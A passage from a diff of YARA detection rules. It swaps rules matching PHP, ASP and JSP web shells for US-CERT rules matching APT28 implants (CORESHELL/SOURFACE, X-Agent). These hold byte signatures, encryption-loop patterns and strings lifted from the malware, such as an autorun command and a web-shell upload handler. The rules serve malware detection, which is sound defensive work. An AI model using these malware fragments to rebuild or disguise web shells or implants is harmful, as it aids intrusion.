+         F7 F7 8A C1 02 45 0F 2C 02 32 04 32 33 D2 88 45 FF 8B C1 8B F7 F7 F6
+         8A 45 FF 8B 75 14 22 04 32 02 D8 8B 45 E8 30 1C 08 8B 4D F4 8D 51 FE
+         3B D7 72 A4 8B 45 E4 8B 7D E0 8B 5D F0 83 45 F8 06 43 89 5D F0 3B D8
+         0F 82 ?? ?? ?? ?? 3B DF 75 13 8D 04 7F 8B 7D 10 03 C0 2B F8 EB 09 33
+         C9 E9 5B FF FF FF 33 FF 3B 7D EC 0F 83 ?? ?? ?? ?? 8B 55 08 8A CB 02
+         C9 8D 04 19 02 C0 88 45 13 8D 04 5B 03 C0 8D 54 10 FE 89 45 E0 8D 4F
+         02 89 55 E4 EB 09 8D 9B 00 00 00 00 8B 45 E0 0F B6 5C 31 FE 8D 44 01
+         FE 0F AF D8 8D 51 01 89 55 0C 33 D2 BF 06 00 00 00 8D 41 FF F7 F7 8B
+         45 0C C1 EB 07 32 1C 32 33 D2 F7 F7 8A C1 02 45 13 2C 02 32 04 32 33
+         D2 88 45 0B 8B C1 8B F7 F7 F6 8A 45 0B 8B 75 14 22 04 32 02 D8 8B 45
+         E4 30 1C 01 8B 4D 0C }
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Cihshell_Fix
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_2_V10 : FILE
 {
 	meta:
-		description = "Web Shell - file cihshell_fix.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "CORESHELL/SOURFACE Implant by APT28"
+		author = "US CERT"
+		id = "cb88ae0c-19e2-590c-9c13-78ac1dcc8c9f"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L290-L304"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3823ac218032549b86ee7c26f10c4cb5"
-		logic_hash = "59ae76d6828d8c0ddcbafa19063e6dcf25c826386f46df2b8f9674b628365a2b"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L238-L251"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "62d47c1076b05bc9a531ef6e48f17f730932826b4b0f311887e3b14c639b937d"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s7 = "<tr style='background:#242424;' ><td style='padding:10px;'><form action='' encty"
-		$s8 = "if (isset($_POST['mysqlw_host'])){$dbhost = $_POST['mysqlw_host'];} else {$dbhos"
+		$STR1 = { 83 ?? 06 [7-17] fa [0-10] 45 [2-4] 48 [2-4] e8 [2] FF FF [6-8]
+         48 8d [3] 48 89 [3] 45 [2] 4? [1-2] 01}
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Asp_Shell
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_2_V11 : FILE
 {
 	meta:
-		description = "Web Shell - file shell.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "CORESHELL/SOURFACE Implant by APT28"
+		author = "US CERT"
+		id = "570d6996-ab16-556e-b790-e4c73d7bbffc"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L305-L319"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e63f5a96570e1faf4c7b8ca6df750237"
-		logic_hash = "5cc698e4ff23ca296b339589d12c24e67c99272e73445604a4552d3023e19636"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L253-L267"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "72b9e4de0389df3a14f92660e91749dea4d31905eb7391163c3503bc953d661f"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s7 = "<input type=\"submit\" name=\"Send\" value=\"GO!\">" fullword
-		$s8 = "<TEXTAREA NAME=\"1988\" ROWS=\"18\" COLS=\"78\"></TEXTAREA>" fullword
+		$STR1 = {55 8b ec 6a fe 68 [4] 68 [4] 64 A1 00 00 00 00 50 83 EC 0C 53
+         56 57 A1 [4] 31 45 F8 33 C5 50 8D 45 F0 64 A3 00 00 00 00 [8-14] 68
+         [4] 6a 01 [1-2] FF 15 [4] FF 15 [4] 3D B7 00 00 00 75 27}
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Private_I3Lue
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_2_V14 : FILE
 {
 	meta:
-		description = "Web Shell - file Private-i3lue.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "CORESHELL/SOURFACE Implant by APT28"
+		author = "US CERT"
+		id = "1e4958e7-e136-5600-bc16-36cdeeb3ea18"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L320-L333"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "13f5c7a035ecce5f9f380967cf9d4e92"
-		logic_hash = "274586f2c451eda45c3a52b615961dbba806f8d25e34cc358e661fcfd1143d08"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L269-L293"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4abb1e1c68ced667f04a69c58c89187f9ccc0633c5dc5f396ba8d210bf405f93"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s8 = "case 15: $image .= \"\\21\\0\\"
+		$STR1 = {8B ?? 44 89 44 24 60 41 F7 E0 8B F2 B8 AB AA AA AA C1 EE 02 89
+         74 24 58 44 8B ?? 41 F7 ?? 8B CA BA 03 00 00 00 C1 E9 02 89 0C 24 8D
+         04 49 03 C0 44 2B ?? 44 89 ?? 24 04 3B F1 0F 83 ?? 01 00 00 8D 1C 76
+         4C 89 6C 24  }
+		$STR2 = {C5 41 F7 E0 ?? ?? ?? ?? ?? ?? 8D 0C 52 03 C9 2B C1 8B C8 ?? 8D
+         04 ?? 46 0F B6 0C ?? 40 02 C7 41 8D 48 FF 44 32 C8 B8 AB AA AA AA F7
+         E1 C1 EA 02 8D 04 52 03 C0 2B C8 B8 AB AA AA AA 46 22 0C ?? 41 8D 48
+         FE F7 E1 C1 EA 02 8D 04 52 03 C0 2B C8 8B C1 }
+		$STR3 = {41 F7 E0 C1 EA 02 41 8B C0 8D 0C 52 03 C9 2B C1 8B C8 42 8D 04
+         1B 46 0F B6 0C ?? 40 02 C6 41 8D 48 FF 44 32 C8 B8 AB AA AA AA F7 E1
+         C1 EA 02 8D 04 52 03 C0 2B C8 B8 AB AA AA AA }
+		$STR4 = {46 22 0C ?? 41 8D 48 FE F7 E1 C1 EA 02 8D 04 52 8B 54 24 58 03
+         C0 2B C8 8B C1 0F B6 4F FF 42 0F B6 04 ?? 41 0F AF CB C1 }
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Up
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_2_V15 : FILE
 {
 	meta:
-		description = "Web Shell - file up.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "CORESHELL/SOURFACE Implant by APT28"
+		author = "US CERT"
+		id = "9bdaebc1-86a0-5c21-b752-d69cdb70f082"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L334-L349"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7edefb8bd0876c41906f4b39b52cd0ef"
-		logic_hash = "22f444ce4068f46c0b57e566faca0c6377346e403de592b0e51869781fda31a9"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L295-L310"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fac61e80803941193c41ecf8b3fcbee21b5cc41542989ecd93542c32e87da983"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['remotefile']);" fullword
-		$s3 = "if(is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) {" fullword
-		$s8 = "echo \"Uploaded file: \" . $HTTP_POST_FILES['userfile']['name'];" fullword
+		$XOR_LOOP1 = { 32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 }
+		$XOR_LOOP2 = { 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 }
+		$XOR_LOOP3 = { 02 C3 30 06 8B 5D F0 8D 41 FE 83 F8 06 }
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Mysql_Interface_V1_0
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_2_V16 : FILE
 {
 	meta:
-		description = "Web Shell - file Mysql interface v1.0.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "CORESHELL/SOURFACE Implant by APT28"
+		author = "US CERT"
+		id = "2c54a749-c80b-5010-97b6-b74c54fd3d07"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L350-L363"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a12fc0a3d31e2f89727b9678148cd487"
-		logic_hash = "baa938c4cfd2c46b1752d866e186d76a04c353617d8ec3e0d78a3c546b120d13"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L312-L329"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "638cb66e5ff52ac5a1df0954969e7c54a3b25518228e4f8f344aafe6760985d2"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "echo \"<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\\\"return"
+		$OBF_FUNCT = { 0F B6 1C 0B 8D 34 08 8D 04 0A 0F AF D8 33 D2 8D 41 FF F7
+         75 F8 8B 45 0C C1 EB 07 8D 79 01 32 1C 02 33 D2 8B C7 89 5D E4 BB 06
+         00 00 00 F7 F3 8B 45 0C 8D 59 FE 02 5D FF 32 1C 02 8B C1 33 D2 B9 06
+         00 00 00 F7 F1 8B 45 0C 8B CF 22 1C 02 8B 45 E4 8B 55 E0 02 C3 30 06
+         8B 5D F0 8D 41 FE 83 F8 06 8B 45 DC 72 9A }
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and $OBF_FUNCT
 }
-rule SIGNATURE_BASE_Webshell_Php_S_U
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_2_V17 : FILE
 {
 	meta:
-		description = "Web Shell - file s-u.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "CORESHELL/SOURFACE Implant by APT28"
+		author = "US CERT"
+		id = "dc3a6b08-1ac4-5fa2-a710-657514d45606"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L364-L377"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "efc7ba1a4023bcf40f5e912f1dd85b5a"
-		logic_hash = "3c6904fa475784e737275fd47eabea077bed57e920071c68fa09f7defecbdb72"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L331-L347"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ea2793e6ce9e9d97e70a9452a38eb4d5ddbcc275af6ae7f5d094dc77e112d278"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s6 = "<a href=\"?act=do\"><font color=\"red\">Go Execute</font></a></b><br /><textarea"
+		$STR1 = { 24108b44241c894424148b4424246836 }
+		$STR2 = { 518d4ddc516a018bd08b4de4e8360400 }
+		$STR3 = { e48178061591df75740433f6eb1a8b48 }
+		$STR4 = { 33d2f775f88b45d402d903c641321c3a }
+		$STR5 = { 006a0056ffd083f8ff74646a008d45f8 }
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D) and 2 of them
 }
-rule SIGNATURE_BASE_Webshell_Phpshell_2_1_Config
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_2_V18 : FILE
 {
 	meta:
-		description = "Web Shell - file config.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "CORESHELL/SOURFACE Implant by APT28"
+		author = "US CERT"
+		id = "5376ec57-f405-55cf-a23b-aafb1cb800e5"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L378-L391"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bd83144a649c5cc21ac41b505a36a8f3"
-		logic_hash = "51d16bcaef5f6795ebcd1154dca79d5cf5a389948b0e59f4939c30fef877e816"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L349-L376"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d982b3b1407e140f586772ce409e47bd29e567af41e466cd94d0983c93aab917"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s1 = "; (choose good passwords!).  Add uses as simple 'username = \"password\"' lines." fullword
+		$STR1 = { 8A C1 02 C0 8D 1C 08 8B 45 F8 02 DB 8D 4A 02 8B 55 0C 88 5D FF
+         8B 5D EC 83 C2 FE 03 D8 89 55 E0 89 5D DC 8D 49 00 03 C1 8D 34 0B 0F
+         B6 1C 0A 0F AF D8 33 D2 8D 41 FF F7 75 F4 8B 45 0C C1 EB 07 8D 79 01
+         32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 8B 45 0C 8D 59 FE
+         02 5D FF 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B 45 0C 8B CF 22
+         1C 02 8B 45 E4 8B 55 E0 02 C3 30 06 8B 5D DC 8D 41 FE 83 F8 06 8B 45
+         F8 72 9B 8B 4D F0 8B 5D D8 8B 7D 08 8B F0 41 83 C6 06 89 4D F0 89 75
+         F8 3B 4D D4 0F 82 ?? ?? ?? ?? 8B 55 E8 3B CB 75 09 8D 04 5B 03 C0 2B
+         F8 EB 02 33 FF 3B FA 0F 83 ?? ?? ?? ?? 8B 5D EC 8A C1 02 C0 83 C3 FE
+         8D 14 08 8D 04 49 02 D2 03 C0 88 55 0B 8D 48 FE 8D 57 02 03 C3 89 4D
+         D4 8B 4D 0C 89 55 F8 89 45 D8 EB 06 8D 9B 00 00 00 00 0F B6 5C 0A FE
+         8D 34 02 8B 45 D4 03 C2 0F AF D8 8D 7A 01 8D 42 FF 33 D2 F7 75 F4 C1
+         EB 07 8B C7 32 1C 0A 33 D2 B9 06 00 00 00 F7 F1 8A 4D F8 8B 45 0C 80
+         E9 02 02 4D 0B 32 0C 02 8B 45 F8 33 D2 F7 75 F4 8B 45 0C 22 0C 02 8B
+         D7 02 D9 30 1E 8B 4D 0C 8D 42 FE 3B 45 E8 }
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Asp_EFSO_2
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_2_V19 : FILE
 {
 	meta:
-		description = "Web Shell - file EFSO_2.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "CORESHELL/SOURFACE Implant by APT28"
+		author = "US CERT"
+		id = "b4efdb3c-d7d6-5141-ad73-90d70582f8bd"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L392-L405"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a341270f9ebd01320a7490c12cb2e64c"
-		logic_hash = "19bd00fabe0b4695129c180dd145e757e0b2c2a6dad751e8c889222c191e03ce"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L378-L404"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "42bee6ddf0b13774efb6712135c3e0b4eae6364120f8973272820f5f669671d1"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "%8@#@&P~,P,PP,MV~4BP^~,NS~m~PXc3,_PWbSPU W~~[u3Fffs~/%@#@&~~,PP~~,M!PmS,4S,mBPNB"
+		$obfuscated_RSA1 = { 7C 41 B4 DB ED B0 B8 47 F1 9C A1 49 B6 57 A6 CC D6
+         74 B5 52 12 4D FC B1 B6 3B 85 73 DF AB 74 C9 25 D8 3C EA AE 8F 5E D2
+         E3 7B 1E B8 09 3C AF 76 A1 38 56 76 BB A0 63 B6 9E 5D 86 E4 EC B0 DC
+         89 1E FA 4A E5 79 81 3F DB 56 63 1B 08 0C BF DC FC 75 19 3E 1F B3 EE
+         9D 4C 17 8B 16 9D 99 C3 0C 89 06 BB F1 72 46 7E F4 0B F6 CB B9 C2 11
+         BE 5E 27 94 5D 6D C0 9A 28 F2 2F FB EE 8D 82 C7 0F 58 51 03 BF 6A 8D
+         CD 99 F8 04 D6 F7 F7 88 0E 51 88 B4 E1 A9 A4 3B }
+		$cleartext_RSA1 = { 06 02 00 00 00 A4 00 00 52 53 41 31 00 04 00 00 01
+         00 01 00 AF BD 26 C9 04 65 45 9F 0E 3F C4 A8 9A 18 C8 92 00 B2 CC 6E
+         0F 2F B2 71 90 FC 70 2E 0A F0 CA AA 5D F4 CA 7A 75 8D 5F 9C 4B 67 32
+         45 CE 6E 2F 16 3C F1 8C 42 35 9C 53 64 A7 4A BD FA 32 99 90 E6 AC EC
+         C7 30 B2 9E 0B 90 F8 B2 94 90 1D 52 B5 2F F9 8B E2 E6 C5 9A 0A 1B 05
+         42 68 6A 3E 88 7F 38 97 49 5F F6 EB ED 9D EF 63 FA 56 56 0C 7E ED 14
+         81 3A 1D B9 A8 02 BD 3A E6 E0 FA 4D A9 07 5B E6 }
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_Up
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_2_V20 : FILE
 {
 	meta:
-		description = "Web Shell - file up.jsp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "CORESHELL/SOURFACE Implant by APT28"
+		author = "US CERT"
+		id = "323ee676-802d-55e6-a97a-48eb3a4e4a5f"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L406-L419"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "515a5dd86fe48f673b72422cccf5a585"
-		logic_hash = "77c8121d000c45e44717689dec535fde7c9722005d1e4ff40d0b84abcf289f47"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L406-L423"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "72c62a764c5c7c19a07957fd6fbfcffd689900cc2759d408d239fe08a3b76b9c"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s9 = "// BUG: Corta el fichero si es mayor de 640Ks" fullword
+		$func = { 0F B6 5C 0A FE 8D 34 02 8B 45 D4 03 C2 0F AF D8 8D 7A 01 8D 42
+         FF 33 D2 F7 75 F4 C1 EB 07 8B C7 32 1C 0A 33 D2 B9 06 00 00 00 F7 F1
+         8A 4D F8 8B 45 0C 80 E9 02 02 4D 0B 32 0C 02 8B 45 F8 33 D2 F7 75 F4
+         8B 45 0C 22 0C 02 8B D7 02 D9 30 1E 8B 4D 0C 8D 42 FE 3B 45 E8 8B 45
+         D8 89 55 F8 72 A0 }
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Networkfilemanagerphp
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_3_V1
 {
 	meta:
-		description = "Web Shell - file NetworkFileManagerPHP.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "X-Agent/CHOPSTICK Implant by APT28"
+		author = "US CERT"
+		id = "d539bb31-18b2-5cf5-b994-daecd5f8c771"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L420-L433"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "acdbba993a5a4186fd864c5e4ea0ba4f"
-		logic_hash = "235e4062a9b9ebdf7dd0b8a2cb3b16ba7688a75b90d8c527344cf9605304838d"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L425-L442"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4c7b6c76bc10784abf96cc71b34ffc9a9de569fd536505528752221d22b26629"
+		score = 85
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s9 = "  echo \"<br><center>All the data in these tables:<br> \".$tblsv.\" were putted "
+		$STR1 = ">process isn't exist<" ascii wide
+		$STR2 = "shell\\open\\command=\"System Volume Information\\USBGuard.exe\" install" ascii wide
+		$STR3 = "User-Agent: Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0" ascii wide
+		$STR4 = "webhp?rel=psy&hl=7&ai=" ascii wide
+		$STR5 = {0f b6 14 31 88 55 ?? 33 d2 8b c1 f7 75 ?? 8b 45 ?? 41 0f b6 14
+         02 8a 45 ?? 03 fa}
 
 	condition:
-		all of them
+		any of them
 }
-rule SIGNATURE_BASE_Webshell_Server_Variables
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_3_V2 : FILE
 {
 	meta:
-		description = "Web Shell - file Server Variables.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "X-Agent/CHOPSTICK Implant by APT28"
+		author = "US CERT"
+		id = "349c65cf-547f-5837-af71-f9721e029b74"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L434-L448"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "47fb8a647e441488b30f92b4d39003d7"
